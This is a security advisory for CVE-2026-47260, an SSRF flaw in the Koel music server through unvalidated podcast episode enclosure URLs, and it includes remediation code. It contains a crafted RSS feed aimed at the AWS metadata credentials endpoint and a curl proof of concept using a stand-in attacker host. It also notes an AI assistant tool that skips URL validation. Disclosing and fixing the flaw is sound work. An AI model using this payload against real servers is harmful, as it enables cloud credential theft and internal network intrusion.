CVE-2026-47260

描述

## Summary Koel validates the podcast feed URL via the `SafeUrl` rule (DNS resolution + public IP check), but the individual episode `<enclosure url="...">` values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via `Http::sink()->get()` and streams it back to the user, enabling full-read SSRF against internal services. --- ## Vulnerability Details ### Episode URL Stored Without Validation **File:** `app/Services/Podcast/PodcastService.php`, line 146 ```php 'path' => $episodeValue->enclosure->url, // Unvalidated URL from RSS XML ``` The `SafeUrl` rule is applied to the podcast feed URL at subscription time (`SubscribeToPodcastRequest`), but episode enclosure URLs parsed from the feed XML are stored as-is. ### SSRF Trigger: Full Content Download **File:** `app/Values/Podcast/EpisodePlayable.php`, line 42 ```php Http::sink($file)->get($episode->path)->throw(); ``` When an episode is played, `PodcastStreamerAdapter::stream()` first attempts `getStreamableUrl()` (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to `EpisodePlayable::createForEpisode()`, which downloads the full response body and streams it back to the user. ### SafeUrl Applied Only to Feed URL **File:** `app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php` ```php public function rules(): array { return ['url' => ['required', 'url:http,https', new SafeUrl]]; } ``` The `SafeUrl` rule (`app/Rules/SafeUrl.php`) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL — not the content within the feed. --- ## Attack Flow 1. Attacker registers an account (Community edition, no Plus required) 2. Attacker hosts a malicious RSS feed on a public server: ```xml <rss version="2.0"> <channel> <title>Legit Podcast</title> <item> <title>Episode 1</title> <enclosure url="http://169.254.169.254/latest/meta-data/iam/security-credentials/" type="audio/mpeg" length="1000"/> <guid>ssrf-1</guid> </item> </channel> </rss> ``` 3. `POST /api/podcasts` with `url=https://evil.com/feed.xml` — passes `SafeUrl` (public URL) 4. Koel parses feed, stores episode with `path = http://169.254.169.254/...` 5. Attacker plays episode: `GET /play/{episode_id}` 6. Server executes `Http::sink($file)->get("http://169.254.169.254/...")` 7. AWS metadata response downloaded to disk, streamed back to attacker --- ## Proof of Concept ```bash #!/bin/bash # PoC: Koel SSRF via Podcast Episode Enclosure URL # Step 1: Host malicious RSS feed (feed.xml) on attacker server # Step 2: Subscribe to the podcast KOEL_URL="https://TARGET" API_TOKEN="<api_token>" # Subscribe to malicious podcast curl -X POST "$KOEL_URL/api/podcasts" \ -H "Authorization: Bearer $API_TOKEN" \ -H "Content-Type: application/json" \ -d '{"url": "https://attacker.com/feed.xml"}' # List episodes to get the episode ID EPISODE_ID=$(curl -s "$KOEL_URL/api/podcasts" \ -H "Authorization: Bearer $API_TOKEN" | jq -r '.[0].episodes[0].id') # Play the episode — triggers SSRF, returns internal service response curl "$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN" -o response.bin cat response.bin # Expected: AWS metadata / internal service response ``` --- ## Impact - **Cloud credential theft:** Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens) - **Internal network reconnaissance:** Scan ports and enumerate internal HTTP services - **Data exfiltration:** Read responses from internal APIs, admin panels, databases with HTTP interfaces - **Full response body:** Unlike blind SSRF, the entire response is returned to the attacker --- ## Secondary Finding: SSRF Bypass via AI Radio Station Tool **File:** `app/Ai/Tools/AddRadioStation.php`, lines 35-38 The AI assistant's `AddRadioStation` tool creates radio stations by calling `RadioService::createRadioStation()` directly, bypassing the `SafeUrl` and `HasAudioContentType` validation rules that protect the REST API endpoint. **Impact:** Same SSRF but requires Plus license. CVSS 7.7 HIGH. --- ## Novelty Check - **No existing CVEs found for Koel** (searched NVD, GitHub Advisories, web) - **No SECURITY.md** in the repository - **This is a novel vulnerability** --- ## Remediation **Fix 1:** Validate episode enclosure URLs in `synchronizeEpisodes()`: ```php foreach ($episodeCollection as $episodeValue) { $enclosureUrl = $episodeValue->enclosure->url; $host = parse_url($enclosureUrl, PHP_URL_HOST); if (!$host || !Network::isPublicHost($host)) { continue; // Skip episodes with non-public URLs } // ... rest of episode creation } ``` **Fix 2:** Defense-in-depth validation at playback time in `EpisodePlayable::createForEpisode()`. **Fix 3:** Add `SafeUrl` validation in `AddRadioStation` AI tool.

受影響套件(1)

• Packagist/phanan/koelfrom 0, < 9.3.5

CVSS 分數

參考連結(4)

• PATCHhttps://github.com/koel/koel
• WEBhttps://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a
• WEBhttps://github.com/koel/koel/commit/be1e867982dcadefd4a75d768ce950b1d5234cdf
• WEBhttps://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc